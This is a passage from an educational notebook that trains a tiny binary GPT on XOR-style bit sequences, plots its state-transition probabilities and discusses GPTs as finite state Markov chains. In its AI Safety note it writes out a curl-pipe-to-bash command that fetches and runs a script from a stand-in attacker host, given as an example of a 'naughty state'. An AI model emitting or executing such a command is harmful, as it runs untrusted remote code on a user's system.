            "210 0.02207164280116558\n",
            "211 0.021880827844142914\n",
            "212 0.021692682057619095\n",
            "213 0.021507099270820618\n",
            "214 0.021324075758457184\n",
            "215 0.02114349603652954\n",
            "216 0.020965363830327988\n",
            "217 0.020789679139852524\n",
            "218 0.02061629667878151\n",
            "219 0.020445222035050392\n",
            "220 0.020276479423046112\n",
            "221 0.02010989934206009\n",
            "222 0.019945481792092323\n",
            "223 0.019783226773142815\n",
            "224 0.019623076543211937\n",
            "225 0.01946503296494484\n",
            "226 0.019309010356664658\n",
            "227 0.019154950976371765\n",
            "228 0.019002825021743774\n",
            "229 0.018852723762392998\n",
            "230 0.01870444044470787\n",
            "231 0.018558036535978317\n",
            "232 0.018413452431559563\n",
            "233 0.018270662054419518\n",
            "234 0.018129635602235794\n",
            "235 0.017990343272686005\n",
            "236 0.01785275898873806\n",
            "237 0.01771685481071472\n",
            "238 0.017582597211003304\n",
            "239 0.017449961975216866\n",
            "240 0.01731892116367817\n",
            "241 0.017189443111419678\n",
            "242 0.017061501741409302\n",
            "243 0.016935093328356743\n",
            "244 0.016810165718197823\n",
            "245 0.016686685383319855\n",
            "246 0.016564685851335526\n",
            "247 0.016444077715277672\n",
            "248 0.01632489077746868\n",
            "249 0.01620706543326378\n",
            "250 0.01609063521027565\n",
            "251 0.015975482761859894\n",
            "252 0.015861665830016136\n",
            "253 0.01574915274977684\n",
            "254 0.015637891367077827\n",
            "255 0.015527848154306412\n",
            "256 0.01541905291378498\n",
            "257 0.015311509370803833\n",
            "258 0.015205126255750656\n",
            "259 0.015099937096238136\n",
            "260 0.014995938166975975\n",
            "261 0.014893016777932644\n",
            "262 0.014791198074817657\n",
            "263 0.014690573327243328\n",
            "264 0.014590967446565628\n",
            "265 0.014492436312139034\n",
            "266 0.014395041391253471\n",
            "267 0.01429857686161995\n",
            "268 0.014203189872205257\n",
            "269 0.014108851552009583\n",
            "270 0.014015443623065948\n",
            "271 0.013923057354986668\n",
            "272 0.013831660151481628\n",
            "273 0.013741165399551392\n",
            "274 0.013651632703840733\n",
            "275 0.013562973588705063\n",
            "276 0.013475306332111359\n",
            "277 0.013388512656092644\n",
            "278 0.013302624225616455\n",
            "279 0.013217579573392868\n",
            "280 0.013133380562067032\n",
            "281 0.013050058856606483\n",
            "282 0.012967580929398537\n",
            "283 0.012885920703411102\n",
            "284 0.012805077247321606\n",
            "285 0.012725050561130047\n",
            "286 0.012645812705159187\n",
            "287 0.012567391619086266\n",
            "288 0.012489699758589268\n",
            "289 0.012412767857313156\n",
            "290 0.012336594983935356\n",
            "291 0.012261181138455868\n",
            "292 0.01218646951019764\n",
            "293 0.012112515978515148\n",
            "294 0.012039205059409142\n",
            "295 0.011966654099524021\n",
            "296 0.011894775554537773\n",
            "297 0.011823628097772598\n",
            "298 0.011753065511584282\n",
            "299 0.01168323215097189\n",
            "300 0.011614042334258556\n",
            "301 0.01154552586376667\n",
            "302 0.011477623134851456\n",
            "303 0.0114103639498353\n",
            "304 0.011343717575073242\n",
            "305 0.011277686804533005\n",
            "306 0.011212300509214401\n",
            "307 0.011147469282150269\n",
            "308 0.011083251796662807\n",
            "309 0.011019619181752205\n",
            "310 0.010956544429063797\n",
            "311 0.010894054546952248\n",
            "312 0.010832149535417557\n",
            "313 0.010770771652460098\n",
            "314 0.010709980502724648\n",
            "315 0.010649715550243855\n",
            "316 0.010589977726340294\n",
            "317 0.010530737228691578\n",
            "318 0.01047208346426487\n",
            "319 0.010413927026093006\n",
            "320 0.010356269776821136\n",
            "321 0.010299136862158775\n",
            "322 0.010242447257041931\n",
            "323 0.010186312720179558\n",
            "324 0.010130646638572216\n",
            "325 0.01007544994354248\n",
            "326 0.010020753368735313\n",
            "327 0.009966523386538029\n",
            "328 0.009912733919918537\n",
            "329 0.009859413839876652\n",
            "330 0.009806533344089985\n",
            "331 0.009754180908203125\n",
            "332 0.009702150709927082\n",
            "333 0.009650619700551033\n",
            "334 0.00959949940443039\n",
            "335 0.009548819623887539\n",
            "336 0.009498578496277332\n",
            "337 0.009448749013245106\n",
            "338 0.009399360045790672\n",
            "339 0.009350351989269257\n",
            "340 0.009301725775003433\n",
            "341 0.00925350934267044\n",
            "342 0.009205704554915428\n",
            "343 0.009158311411738396\n",
            "344 0.009111211635172367\n",
            "345 0.009064581245183945\n",
            "346 0.00901833176612854\n",
            "347 0.008972406387329102\n",
            "348 0.008926892653107643\n",
            "349 0.008881671354174614\n",
            "350 0.008836891502141953\n",
            "351 0.008792405016720295\n",
            "352 0.008748330175876617\n",
            "353 0.008704577572643757\n",
            "354 0.00866117887198925\n",
            "355 0.008618101477622986\n",
            "356 0.008575377985835075\n",
            "357 0.008533007465302944\n",
            "358 0.008490929380059242\n",
            "359 0.008449176326394081\n",
            "360 0.00840777438133955\n",
            "361 0.008366696536540985\n",
            "362 0.008325942791998386\n",
            "363 0.008285452611744404\n",
            "364 0.008245285600423813\n",
            "365 0.008205472491681576\n",
            "366 0.008165922947227955\n",
            "367 0.0081266975030303\n",
            "368 0.008087736554443836\n",
            "369 0.008049099706113338\n",
            "370 0.00801075529307127\n",
            "371 0.00797270704060793\n",
            "372 0.007934922352433205\n",
            "373 0.007897431962192059\n",
            "374 0.007860176265239716\n",
            "375 0.007823275402188301\n",
            "376 0.007786578964442015\n",
            "377 0.007750177755951881\n",
            "378 0.007714069914072752\n",
            "379 0.0076781683601439\n",
            "380 0.007642590906471014\n",
            "381 0.007607218809425831\n",
            "382 0.0075721414759755135\n",
            "383 0.007537358906120062\n",
            "384 0.007502751890569925\n",
            "385 0.007468440104275942\n",
            "386 0.007434333674609661\n",
            "387 0.007400522008538246\n",
            "388 0.0073669166304171085\n",
            "389 0.007333576679229736\n",
            "390 0.0073004416190087795\n",
            "391 0.007267543114721775\n",
            "392 0.007234938908368349\n",
            "393 0.007202511187642813\n",
            "394 0.007170289754867554\n",
            "395 0.0071383630856871605\n",
            "396 0.00710661243647337\n",
            "397 0.007075128145515919\n",
            "398 0.007043789606541395\n",
            "399 0.007012746762484312\n",
            "400 0.006981850601732731\n",
            "401 0.006951220333576202\n",
            "402 0.006920795887708664\n",
            "403 0.006890577729791403\n",
            "404 0.006860565394163132\n",
            "405 0.0068307300098240376\n",
            "406 0.006801131181418896\n",
            "407 0.006771738175302744\n",
            "408 0.006742492318153381\n",
            "409 0.0067135123535990715\n",
            "410 0.006684678606688976\n",
            "411 0.006656081881374121\n",
            "412 0.006627632305026054\n",
            "413 0.006599388085305691\n",
            "414 0.006571351550519466\n",
            "415 0.006543520838022232\n",
            "416 0.006515808403491974\n",
            "417 0.006488301791250706\n",
            "418 0.006461060605943203\n",
            "419 0.006433907896280289\n",
            "420 0.006406932137906551\n",
            "421 0.006380192935466766\n",
            "422 0.006353600416332483\n",
            "423 0.0063271853141486645\n",
            "424 0.006300917360931635\n",
            "425 0.006274797022342682\n",
            "426 0.006248912774026394\n",
            "427 0.006223205476999283\n",
            "428 0.006197645794600248\n",
            "429 0.006172203924506903\n",
            "430 0.006146938540041447\n",
            "431 0.00612191017717123\n",
            "432 0.006096940487623215\n",
            "433 0.006072206422686577\n",
            "434 0.006047561764717102\n",
            "435 0.00602309312671423\n",
            "436 0.005998802371323109\n",
            "437 0.005974717903882265\n",
            "438 0.005950692109763622\n",
            "439 0.005926873069256544\n",
            "440 0.005903142504394054\n",
            "441 0.005879589356482029\n",
            "442 0.005856242496520281\n",
            "443 0.0058329845778644085\n",
            "444 0.005809873808175325\n",
            "445 0.0057869404554367065\n",
            "446 0.005764095112681389\n",
            "447 0.005741397850215435\n",
            "448 0.0057188780046999454\n",
            "449 0.005696475971490145\n",
            "450 0.0056742215529084206\n",
            "451 0.005652084946632385\n",
            "452 0.0056301262229681015\n",
            "453 0.005608255509287119\n",
            "454 0.005586532410234213\n",
            "455 0.005564957857131958\n",
            "456 0.005543470848351717\n",
            "457 0.00552213191986084\n",
            "458 0.005500940605998039\n",
            "459 0.0054798368364572525\n",
            "460 0.005458882078528404\n",
            "461 0.005438045132905245\n",
            "462 0.00541738560423255\n",
            "463 0.00539681501686573\n",
            "464 0.005376332439482212\n",
            "465 0.00535599747672677\n",
            "466 0.005335780791938305\n",
            "467 0.005315711721777916\n",
            "468 0.0052957311272621155\n",
            "469 0.005275839939713478\n",
            "470 0.005256125703454018\n",
            "471 0.005236470140516758\n",
            "472 0.005216962657868862\n",
            "473 0.005197572987526655\n",
            "474 0.005178272724151611\n",
            "475 0.005159089807420969\n",
            "476 0.0051400260999798775\n",
            "477 0.0051210792735219\n",
            "478 0.005102222319692373\n",
            "479 0.0050834533758461475\n",
            "480 0.005064861848950386\n",
            "481 0.005046329461038113\n",
            "482 0.005027885548770428\n",
            "483 0.005009560380131006\n",
            "484 0.004991412162780762\n",
            "485 0.0049732644110918045\n",
            "486 0.0049552638083696365\n",
            "487 0.004937352612614632\n",
            "488 0.004919558763504028\n",
            "489 0.004901854321360588\n",
            "490 0.004884267691522837\n",
            "491 0.004866710864007473\n",
            "492 0.004849301651120186\n",
            "493 0.0048319813795387745\n",
            "494 0.004814809188246727\n",
            "495 0.004797665867954493\n",
            "496 0.004780641291290522\n",
            "497 0.0047637345269322395\n",
            "498 0.00474688783288002\n",
            "499 0.004730158485472202\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "plot_model()"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 365
        },
        "id": "FIt_H7Bz38Zo",
        "outputId": "d47503e1-4ad3-4d36-c13a-429128df0e57"
      },
      "execution_count": 11,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "input [0, 0] ---> [0.9954161643981934, 0.004583842121064663]\n",
            "input [0, 1] ---> [0.004820746369659901, 0.995179295539856]\n",
            "input [1, 0] ---> [0.004818824585527182, 0.995181143283844]\n",
            "input [1, 1] ---> [0.9954138994216919, 0.004586068447679281]\n"
          ]
        },
        {
          "output_type": "execute_result",
          "data": {
            "image/svg+xml": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\n \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<!-- Generated by graphviz version 2.43.0 (0)\n -->\n<!-- Title: %3 Pages: 1 -->\n<svg width=\"222pt\" height=\"204pt\"\n viewBox=\"0.00 0.00 222.43 204.43\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<g id=\"graph0\" class=\"graph\" transform=\"scale(1 1) rotate(0) translate(4 200.43)\">\n<title>%3</title>\n<polygon fill=\"white\" stroke=\"transparent\" points=\"-4,4 -4,-200.43 218.43,-200.43 218.43,4 -4,4\"/>\n<!-- 00 -->\n<g id=\"node1\" class=\"node\">\n<title>00</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"107.21\" cy=\"-18\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"107.21\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">00</text>\n</g>\n<!-- 00&#45;&gt;00 -->\n<g id=\"edge1\" class=\"edge\">\n<title>00&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M132.66,-24.69C143.24,-25.15 152.21,-22.92 152.21,-18 152.21,-14.77 148.35,-12.7 142.7,-11.79\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"142.81,-8.29 132.66,-11.31 142.48,-15.28 142.81,-8.29\"/>\n<text text-anchor=\"middle\" x=\"176.71\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">0(100%)</text>\n</g>\n<!-- 01 -->\n<g id=\"node2\" class=\"node\">\n<title>01</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"27\" cy=\"-98.21\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"27\" y=\"-94.51\" font-family=\"Times,serif\" font-size=\"14.00\">01</text>\n</g>\n<!-- 00&#45;&gt;01 -->\n<g id=\"edge2\" class=\"edge\">\n<title>00&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M92.13,-33.09C80.03,-45.19 62.87,-62.35 49.2,-76.01\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"46.62,-73.65 42.02,-83.19 51.57,-78.6 46.62,-73.65\"/>\n<text text-anchor=\"middle\" x=\"53.16\" y=\"-58.35\" font-family=\"Times,serif\" font-size=\"14.00\">1(0%)</text>\n</g>\n<!-- 10 -->\n<g id=\"node3\" class=\"node\">\n<title>10</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"187.43\" cy=\"-98.21\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"187.43\" y=\"-94.51\" font-family=\"Times,serif\" font-size=\"14.00\">10</text>\n</g>\n<!-- 01&#45;&gt;10 -->\n<g id=\"edge3\" class=\"edge\">\n<title>01&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M53.13,-103.35C79.82,-105.27 121.45,-105.48 151.29,-103.96\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"151.54,-107.45 161.31,-103.35 151.11,-100.47 151.54,-107.45\"/>\n<text text-anchor=\"middle\" x=\"84.71\" y=\"-107.46\" font-family=\"Times,serif\" font-size=\"14.00\">0(0%)</text>\n</g>\n<!-- 11 -->\n<g id=\"node4\" class=\"node\">\n<title>11</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"107.21\" cy=\"-178.43\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"107.21\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">11</text>\n</g>\n<!-- 01&#45;&gt;11 -->\n<g id=\"edge4\" class=\"edge\">\n<title>01&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M42.09,-113.3C54.19,-125.4 71.35,-142.56 85.01,-156.23\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"82.65,-158.81 92.19,-163.41 87.6,-153.86 82.65,-158.81\"/>\n<text text-anchor=\"middle\" x=\"39.05\" y=\"-138.57\" font-family=\"Times,serif\" font-size=\"14.00\">1(100%)</text>\n</g>\n<!-- 10&#45;&gt;00 -->\n<g id=\"edge5\" class=\"edge\">\n<title>10&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M172.34,-83.13C160.24,-71.03 143.08,-53.87 129.41,-40.2\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"131.78,-37.62 122.23,-33.02 126.83,-42.57 131.78,-37.62\"/>\n<text text-anchor=\"middle\" x=\"133.38\" y=\"-65.46\" font-family=\"Times,serif\" font-size=\"14.00\">0(0%)</text>\n</g>\n<!-- 10&#45;&gt;01 -->\n<g id=\"edge6\" class=\"edge\">\n<title>10&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M161.3,-93.07C134.61,-91.15 92.97,-90.95 63.14,-92.47\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"62.89,-88.98 53.12,-93.07 63.32,-95.96 62.89,-88.98\"/>\n<text text-anchor=\"middle\" x=\"87.72\" y=\"-81.57\" font-family=\"Times,serif\" font-size=\"14.00\">1(100%)</text>\n</g>\n<!-- 11&#45;&gt;10 -->\n<g id=\"edge7\" class=\"edge\">\n<title>11&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M122.3,-163.34C134.4,-151.24 151.56,-134.08 165.23,-120.41\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"167.81,-122.78 172.41,-113.23 162.86,-117.83 167.81,-122.78\"/>\n<text text-anchor=\"middle\" x=\"119.27\" y=\"-145.68\" font-family=\"Times,serif\" font-size=\"14.00\">0(100%)</text>\n</g>\n<!-- 11&#45;&gt;11 -->\n<g id=\"edge8\" class=\"edge\">\n<title>11&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M132.66,-185.12C143.24,-185.58 152.21,-183.35 152.21,-178.43 152.21,-175.2 148.35,-173.13 142.7,-172.22\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"142.81,-168.72 132.66,-171.74 142.48,-175.71 142.81,-168.72\"/>\n<text text-anchor=\"middle\" x=\"169.71\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">1(0%)</text>\n</g>\n</g>\n</svg>\n",
            "text/plain": [
              "<graphviz.graphs.Digraph at 0x78e47d369780>"
            ]
          },
          "metadata": {},
          "execution_count": 11
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "Nice! the arrows that correspond to transitions in our training data get higher probabilities. That makes sense. For example:\n",
        "\n",
        "- In our training data 10 always transitions to 01 which is now visible in the high transition probability between these states.\n",
        "- In our training data 11 goes to 10 and this is almost exactly what we see in our model .\n",
        "\n",
        "Finally, let's sample from this GPT:"
      ],
      "metadata": {
        "id": "2jqlDUGT4VpX"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "xi = [1,0] # the starting sequence\n",
        "fullseq = xi.copy()\n",
        "print(f\"init: {xi}\")\n",
        "for k in range(20):\n",
        "    x = torch.tensor(xi, dtype=torch.long)[None, ...]\n",
        "    logits = gpt(x)\n",
        "    probs = nn.functional.softmax(logits, dim=-1)\n",
        "    t = torch.multinomial(probs[0], num_samples=1).item() # sample from the probability distribution\n",
        "    xi = xi[1:] + [t] # transition to the next state\n",
        "    fullseq.append(t)\n",
        "    print(f\"step {k}: state {xi}\")\n",
        "\n",
        "print(\"\\nfull sampled sequence:\")\n",
        "print(\"\".join(map(str, fullseq)))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "u3djdmja4DMQ",
        "outputId": "3668fdf9-a242-43bc-975d-5e276414f8a9"
      },
      "execution_count": 12,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "init: [1, 0]\n",
            "step 0: state [0, 1]\n",
            "step 1: state [1, 1]\n",
            "step 2: state [1, 0]\n",
            "step 3: state [0, 1]\n",
            "step 4: state [1, 1]\n",
            "step 5: state [1, 0]\n",
            "step 6: state [0, 1]\n",
            "step 7: state [1, 1]\n",
            "step 8: state [1, 0]\n",
            "step 9: state [0, 1]\n",
            "step 10: state [1, 1]\n",
            "step 11: state [1, 0]\n",
            "step 12: state [0, 1]\n",
            "step 13: state [1, 1]\n",
            "step 14: state [1, 0]\n",
            "step 15: state [0, 1]\n",
            "step 16: state [1, 1]\n",
            "step 17: state [1, 0]\n",
            "step 18: state [0, 1]\n",
            "step 19: state [1, 1]\n",
            "\n",
            "full sampled sequence:\n",
            "1011011011011011011011\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "## Notes\n",
        "\n",
        "### Real world data is stochastic\n",
        "\n",
        "The above example is quite a simple one - it is an XOR gate. However, it illustrates an important concept in the sense that language can also be viewed as a state machine in which we can assume a fixed context window to generate the next word. For example if we have a context length of 4, then a natural language sentence such as \"How does Chat GPT Work\" Can be modeled as the following examples\n",
        "\n",
        "* [How] [Empty] [Empty] [Empty] -> [Does]\n",
        "* [How] [Does ] [Empty] [Empty] -> [Chat]\n",
        "* [How] [Does ] [Chat ] [Empty] -> [GPT]\n",
        "* [How] [Does ] [Chat ] [GPT  ] -> [Work]\n",
        "\n",
        "However, this is not the only sentence in the universe. Imagine if we had another sentence \"How does a transformer work\" then that would generate its own set of such transitions or examples. In these two sentences, \"How\"  is always followed by \"Does\" so in this case the probability of the transitiion\n",
        "\n",
        "* [How] [Empty] [Empty] [Empty] -> [Does]\n",
        "\n",
        "will be 100% or in other words the probability of the next token being \"Does\" will be 100%. However, the probability of tokens following the state \"How Does\" will be 50% for \"Chat\" and 50% for \"Transformer\" as we have two sentences.\n",
        "\n",
        "* [How] [Does ] [Empty] [Empty] -> [Chat]\n",
        "* [How] [Does ] [Empty] [Empty] -> [Transformer]\n",
        "\n",
        "Thus you can now begin to imagine that the probability of state transitions is not perfectly 0% or 100% but can be any numver in between. If we take the text corpus of the entire world, then we can represent it as a very complex stochastic state machine.\n",
        "\n",
        "### Real world data is incomplete\n",
        "\n",
        "Unless you have access to the [library of babel](https://en.wikipedia.org/wiki/The_Library_of_Babel), the training data compiled from real world texts may not contain all possible state transitions. Unlike the small state space spanned by the XOR problem in which we had all 4 possible states, in a real-world setting this will not be the case.\n",
        "\n",
        "#Exercise\n",
        "\n",
        "Can you retrain the model using a more realistic sequence of bits in which the state transitions are not deterministic as given below and see if that works? For this purpose you can see the example code below which produces X and Y much like we did for the XOR problem."
      ],
      "metadata": {
        "id": "xQmrWAhT6mkK"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "seq = list(map(int, \"111101111011110\"))\n",
        "seq\n",
        "# convert the sequence to a tensor holding all the individual examples in that sequence\n",
        "X, Y = [], []\n",
        "# iterate over the sequence and grab every consecutive 3 bits\n",
        "# the correct label for what's next is the next bit at each position\n",
        "for i in range(len(seq) - context_length):\n",
        "    X.append(seq[i:i+context_length])\n",
        "    Y.append(seq[i+context_length])\n",
        "    print(f\"example {i+1:2d}: {X[-1]} --> {Y[-1]}\")\n",
        "X = torch.tensor(X, dtype=torch.long)\n",
        "Y = torch.tensor(Y, dtype=torch.long)\n",
        "print(X.shape, Y.shape)"
      ],
      "metadata": {
        "id": "aFL6pLqM9J7n",
        "outputId": "5a273db4-b5e0-466a-ce34-27f203b02f64",
        "colab": {
          "base_uri": "https://localhost:8080/"
        }
      },
      "execution_count": 13,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "example  1: [1, 1] --> 1\n",
            "example  2: [1, 1] --> 1\n",
            "example  3: [1, 1] --> 0\n",
            "example  4: [1, 0] --> 1\n",
            "example  5: [0, 1] --> 1\n",
            "example  6: [1, 1] --> 1\n",
            "example  7: [1, 1] --> 1\n",
            "example  8: [1, 1] --> 0\n",
            "example  9: [1, 0] --> 1\n",
            "example 10: [0, 1] --> 1\n",
            "example 11: [1, 1] --> 1\n",
            "example 12: [1, 1] --> 1\n",
            "example 13: [1, 1] --> 0\n",
            "torch.Size([13, 2]) torch.Size([13])\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "### Other differences\n",
        "\n",
        "**Realistic sizes:** The above was a binary GPT over 2 tokens. In practice, the vocabulary size is not 2 but e.g. more like 50,000. And we don't take 2 token sequences, but a typical context length could be ~2048 or even all the way up to ~32,000.\n",
        "\n",
        "**Computers:** Computers are similar, but more of a finite state machine instead of a finite state markov chain. They have memory that stores bits. Bits are discrete. And the CPU defines the transition table. However, computers are ~deterministic dynamical systems so the outbound arrows have probabilities all zero except for the one next state. Unlike this, GPT is a very different kind of computer architecture that is stochastic by default, and computes over tokens, not bits. That said, it is trivially possible to make a GPT into a finite state machine as well by sampling at zero temperature. That means that we always greedily pick the most likely token to come next, without flipping any biased coins. One could even be less greedy and run beam search. However, losing all that entropy during sampling has adverse effects on benchmarks and the qualitative look and feel of the samples (they look very \"safe\", boring), so this is not typically done in practice.\n",
        "\n",
        "**Size comparion:** [This good post](https://www.lesswrong.com/posts/7qSHKYRnqyrumEfbt) pointed out a size comparison between GPT computers and computer computers, e.g.:\n",
        "\n",
        "- GPT-2 has 50,257 tokens and context length of 2048 tokens. So `log2(50,257) * 2048 = 31,984 bits per state = 3,998 kB. Thats' enough to [get to the moon](https://www.digitec.ch/en/page/apollo-11-to-the-moon-with-4-kb-of-ram-12707).\n",
        "- GPT-3 has context length of 4096, so 8kB of memory; Roughly an [Atari 800](https://en.wikipedia.org/wiki/Atari_8-bit_family).\n",
        "- GPT-4 is up to 32K tokens so roughly 64kB, i.e. a [Commodore64](https://en.wikipedia.org/wiki/Commodore_64).\n",
        "\n",
        "**I/O devices:** All of the Finite State Machine analysis breaks down once you start to include Input devices that connect to the outside world. In a computer that could be a mouse or a keyboard. In GPT land this would be any kind of external tool use. E.g. Microsoft Bing is able to run retrieval queries to fetch outside information and incorporate it as an input.\n",
        "\n",
        "**AI Safety:** What is safety viewed through the lens of GPTs as a Finite State Markov Chain? It is the elimination of all probability of transitioning to naughty states. E.g. states that end with the token sequence `[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]`. This sequence of tokens encodes for `curl -s https://evilurl.com/pwned.sh | bash`. In a larger environment where those tokens might end up getting executed in a Terminal that would be problematic. More generally you could imagine that some portion of the state space is \"colored red\" for undesirable states that we never want to transition to. There is a very large collection of these and they are hard to explicitly enumerate, so simple ways of one-off \"blocking them\" is not satisfying. The GPT model itself must *know* based on training data and the inductive bias of the Transformer that those states should be transitioned to with effectively 0% probability. And if the probability isn't sufficiently small (e.g. < 1e-100?), then in large enough deployments (which might have temperature > 0, and might not use `topp` / `topk` sampling hyperparameters that force clamp low probability transitions to exactly zero) you could imagine stumbling into them by chance."
      ],
      "metadata": {
        "id": "aUuNurr39Wi_"
      }
    },
    {
      "cell_type": "code",
      "source": [],
      "metadata": {
        "id": "XOod7-MB6MO8"
      },
      "execution_count": 13,
      "outputs": []
    }
  ]
}